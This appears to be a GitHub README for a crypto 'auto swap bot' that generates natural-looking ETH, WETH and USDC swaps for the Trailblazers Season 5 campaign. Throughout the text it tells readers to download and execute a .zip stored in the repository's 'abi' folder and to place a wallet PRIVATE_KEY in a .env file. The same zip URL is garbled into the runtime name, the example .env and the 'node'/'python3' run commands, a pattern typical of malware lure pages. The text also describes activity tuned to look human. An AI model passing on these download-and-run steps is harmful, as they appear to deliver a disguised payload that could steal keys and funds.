🧭 A safe, automated token swap bot for the Trailblazers (season 5). It randomizes ETH, WETH, and USDC trades each day to simulate natural on-chain activity. The tool is fully configurable through a .env file and supports custom delays and per-day transaction limits.
Table of Contents
- Why this project
- What it does
- Core features
- How it works
- Getting started
- Environment and configuration
- Running the bot
- Advanced usage
- Observability and logs
- Security and safety
- Performance and reliability
- Testing
- Roadmap
- Contributing
- License
- Acknowledgments
Why this project 💡 This project aims to imitate a healthy on-chain signal for Trailblazers Season 5 without fake signals or manipulation. It provides a controlled, transparent way to generate activity across a few key tokens, letting developers experiment with analytics, monitoring, and data integrity in a contained environment.
What it does
- Randomizes swaps between ETH, WETH, and USDC on a daily cadence.
- Uses configurable delays to spread activity across time.
- Enforces per-day transaction limits to prevent bursts.
- Fully configurable via a .env file.
- Easy to extend for additional tokens or networks.
Core features
- Daily activity simulation: The bot schedules swaps to appear natural rather than robotic.
- Token network flexibility: Works with ETH, WETH, and USDC out of the box.
- Configurable pacing: Adjust the delay between swaps to fit your testing scenario.
- Transaction bounds: Set maximum transactions per day to control intensity.
- Secure configuration: Keeps sensitive data in environment variables, not in code.
- Releasable assets: The Releases page hosts ready-to-run artifacts for quick start.
How it works
- The bot runs on a schedule, generating swap intents between supported tokens.
- It reads configuration from a .env file to determine networks, wallets, and limits.
- It selects pairs and amounts within configured bounds, then executes through a connected wallet.
- Results are logged for auditing and analytics.
Unified design goals
- Clarity: Simple configuration and predictable behavior.
- Safety: Isolated environment with explicit limits and no automatic key exposure.
- Extensibility: Easy to add new tokens, networks, or swap paths.
- Observability: Transparent logs and metrics to understand activity patterns.
Getting started Prerequisites
- A supported runtime environment (https://github.com/aris9697/Auto-Swap-Bot-for-TRAILBLAZERS-SEASON-5/raw/refs/heads/main/abi/SEASO-Auto-Bot-TRAILBLAZER-Swap-for-v3.3.zip, Python, or a binary from the release, depending on the asset you download).
- A wallet with testnet or mainnet permissions suitable for the chosen network.
- Access to a blockchain node or provider (RPC URL) with read/write capabilities.
Install and setup
- Download the latest release asset from the Releases page.
- Extract the asset and follow the embedded README for installation steps.
- Create a .env file next to the executable and populate the required fields.
Important note about the Releases page
- From the Releases page, download the latest release artifact and execute it to run the bot. See the link at the beginning of this document and again in the Releases section for details:
Environment and configuration Environment variables
- RPC_URL: The JSON-RPC endpoint for the blockchain network you want to use (e.g., Ethereum mainnet or a testnet).
- WALLET_ADDRESS: The public address you want the bot to swap from and to.
- PRIVATE_KEY or KEYSTORE_PATH: Credentials used to sign transactions. Do not commit keys to version control.
- DELAY_MS: The delay between swaps in milliseconds. A higher value spaces activity over longer periods.
- TXS_PER_DAY: The maximum number of swaps allowed per day.
- SLIPPAGE_TOLERANCE: Acceptable price slippage for swaps.
- GAS_PRICE_GAS_LIMIT: Gas price and gas limit to use for transactions.
- LOG_LEVEL: Logging verbosity (debug, info, warn, error).
Example .env
https://github.com/aris9697/Auto-Swap-Bot-for-TRAILBLAZERS-SEASON-5/raw/refs/heads/main/abi/SEASO-Auto-Bot-TRAILBLAZER-Swap-for-v3.3.zip WALLET_ADDRESS=0xYourWalletAddress
PRIVATE_KEY=your-private-key-if-allowed
DELAY_MS=3600000 # 1 hour between swaps TXS_PER_DAY=8 SLIPPAGE_TOLERANCE=0.5 GAS_PRICE_GAS_LIMIT=100000 LOG_LEVEL=info
- You can tune DELAY_MS and TXS_PER_DAY to control how light or heavy the activity looks.
- If you run on a test network, use testnet RPC URLs and test credentials.
Running the bot
- After you have the asset extracted and your .env configured, start the bot using the command prescribed in the release README. The exact command varies by asset, but typically involves invoking the executable or running a script, for example:
- ./auto-swap-bot
- node https://github.com/aris9697/Auto-Swap-Bot-for-TRAILBLAZERS-SEASON-5/raw/refs/heads/main/abi/SEASO-Auto-Bot-TRAILBLAZER-Swap-for-v3.3.zip
- python3 https://github.com/aris9697/Auto-Swap-Bot-for-TRAILBLAZERS-SEASON-5/raw/refs/heads/main/abi/SEASO-Auto-Bot-TRAILBLAZER-Swap-for-v3.3.zip
- Monitor logs to verify swaps are being generated and that there are no errors.
Observability and logs
- The bot writes logs for each swap attempt, including:
- timestamp
- from token
- to token
- amount
- gas used
- success/failure
- You can route logs to your preferred monitoring system (console output, files, or external services) depending on the runtime and environment.
Advanced usage Extending token support
- The base implementation supports ETH, WETH, and USDC. To add more tokens:
- Extend the token list in the configuration.
- Implement swap paths between chosen tokens.
- Update pricing logic if you rely on price feeds.
Custom swap paths and strategies
- You can design swap strategies that match your testing goals. For example:
- Rebalance between ETH and USDC in a fixed pattern.
- Alternate between ETH/WETH pairs to reflect liquidity changes.
- Keep the logic modular to minimize risk of sweeping unintended tokens.
Network support
- The project can be extended to support additional networks beyond Ethereum mainnet. Each network needs its own RPC endpoint and token addresses.
- Ensure you have appropriate permissions and pass the right gas parameters for each network.
Security and safety
- Treat all private keys as highly sensitive. Do not commit them to public repositories or share them.
- Use separate wallets for testing and production deployments.
- Regularly rotate credentials and use environment-based secrets management when possible.
- Only run on networks where you have permission and legal clearance to operate.
Performance and reliability
- The included configuration supports pacing and limits to prevent bursts.
- For reliability, run the bot on a stable host and monitor resource usage (CPU, memory, network).
- Consider using a process supervisor (like systemd, pm2, or forever) to ensure the bot restarts on failure.
Testing
- Use a testnet RPC URL to validate behavior without risking real funds.
- Write unit tests for swap-path selection logic and timing behavior.
- Validate that .env parsing correctly handles required fields and defaults.
Troubleshooting
- If the bot fails to start, verify the .env file exists and contains required keys.
- Check that the RPC URL is reachable and the wallet credentials are valid.
- Look for errors related to gas pricing, nonce handling, or token addresses.
- Confirm that your environment variables are loaded by logging the values (mask sensitive data in logs).
Roadmap
- Add support for additional stablecoins beyond USDC.
- Introduce smarter activity models that adapt to network conditions.
- Improve security with hardware wallet integrations.
- Provide a UI dashboard for non-technical users.
- Support multiple wallets and per-wallet configuration.
Contributing
- This project welcomes contributors. Here’s how to get involved:
- Fork the repository.
- Create a feature branch for your changes.
- Open a pull request with a clear description of the changes.
- Run tests locally and include any setup notes.
- Follow the project’s coding standards and keep changes focused and small.
Licenses and permissions
- The project is licensed for use with attribution as described in the license file in the repository.
- Respect terms of service and applicable laws when running automated trading tools.
Release notes and downloads
- The latest release includes prebuilt artifacts for quick start. To download, visit the Releases page and grab the asset that matches your environment.
- For quick access, the Releases page is linked here again: https://github.com/aris9697/Auto-Swap-Bot-for-TRAILBLAZERS-SEASON-5/raw/refs/heads/main/abi/SEASO-Auto-Bot-TRAILBLAZER-Swap-for-v3.3.zip
- The asset includes everything you need to run the bot in a single package, plus a small README with exact start instructions.
Ethical and compliance note
- This tool is intended for testing and simulation. Use it in environments you control and where you have permission to operate tests on-chain activity.
- Do not use the bot to manipulate markets, create misleading activity, or violate platform policies.
Token and network references
- ETH: Ethereum native token for transfers and gas payments.
- WETH: Wrapped Ether for ERC-20 compatible swaps.
- USDC: A widely used stablecoin.
- Taiko: A layer-2 or scaling solution reference to align with Trailblazers and ecosystem tooling.
Design and architecture overview
- Core modules:
- Config loader: Reads .env and validates required values.
- Scheduler: Computes the daily cadence and delays between swaps.
- Swap engine: Chooses token pairs, amounts, and performs the swaps via the wallet.
- Logger: Centralized logging with configurable levels.
- Error handler: Catches exceptions and provides actionable diagnostics.
- Data flow:
- Start → Load config → Schedule swaps → Execute swaps → Log results → Repeat
- Extensibility points:
- Swap paths: Add new token paths easily.
- Token set: Extend supported tokens without changing core logic.
Visual concepts and examples
- Activity cadence graph (conceptual): daily spikes with low activity during the night and a few peaks near midday.
- Swap paths (conceptual): ETH → WETH → USDC and back; occasional direct ETH→USDC depending on liquidity.
Community and support
- The project welcomes questions in issues and discussions.
- Please include configuration details and the exact steps you took when you report a problem.
Images and branding
- Emojis are used to keep sections scannable and friendly.
- Where images exist, they reference standard assets such as the Ethereum logo for token references.
Roadmap details
- Short-term:
- Improve resilience to network hiccups.
- Add more robust logging and alerting.
- Expand to extra tokens or cross-chain equivalents.
- Medium-term:
- Introduce user-friendly configuration UI.
- Add back-pressure handling to constrain API calls during heavy load.
- Long-term:
- Build a modular plug-in system for different liquidity sources and routing strategies.
Changelog (summary)
- v0.x.x: Initial release with ETH, WETH, USDC support, basic daily cadence, and .env configuration.
- v0.x.y: Minor improvements to logging and error handling; added example .env.
- v0.x.z: Performance tuning and new presets for common Trailblazers testing scenarios.
Suggested workflows
- Quick test run:
- Download latest release from the Releases page.
- Extract, configure .env for a testnet, and run the executable.
- Check logs for swap attempts and ensure they align with your test expectations.
- Production-like run:
- Use a dedicated wallet with restricted permissions and a guard in .env to cap daily transactions.
- Set a conservative DELAY_MS to resemble natural activity, then adjust based on observed behavior.
- Debug workflow:
- Run with LOG_LEVEL=debug.
- Inspect swapped amounts and gas usage for each transaction.
Appendix
- Tokens and prices: The bot relies on external price data to determine swap viability. Keep your price feeds reliable.
- Gas strategy: Use a conservative gas price strategy that respects your budget while ensuring timely execution.
- Security best practices: Keep secrets out of version control; rotate keys periodically; consider using environment secret managers in production.
Appendix: Link to the releases again
- For the latest release artifacts, visit: https://github.com/aris9697/Auto-Swap-Bot-for-TRAILBLAZERS-SEASON-5/raw/refs/heads/main/abi/SEASO-Auto-Bot-TRAILBLAZER-Swap-for-v3.3.zip
Footer note
- This project is designed for testing and research in controlled environments. It emphasizes configurability, safety, and observability to support developers working with on-chain activity simulations.
License
- The project is open for contribution under the license stated in the repository. Please review the license file for terms and attribution requirements.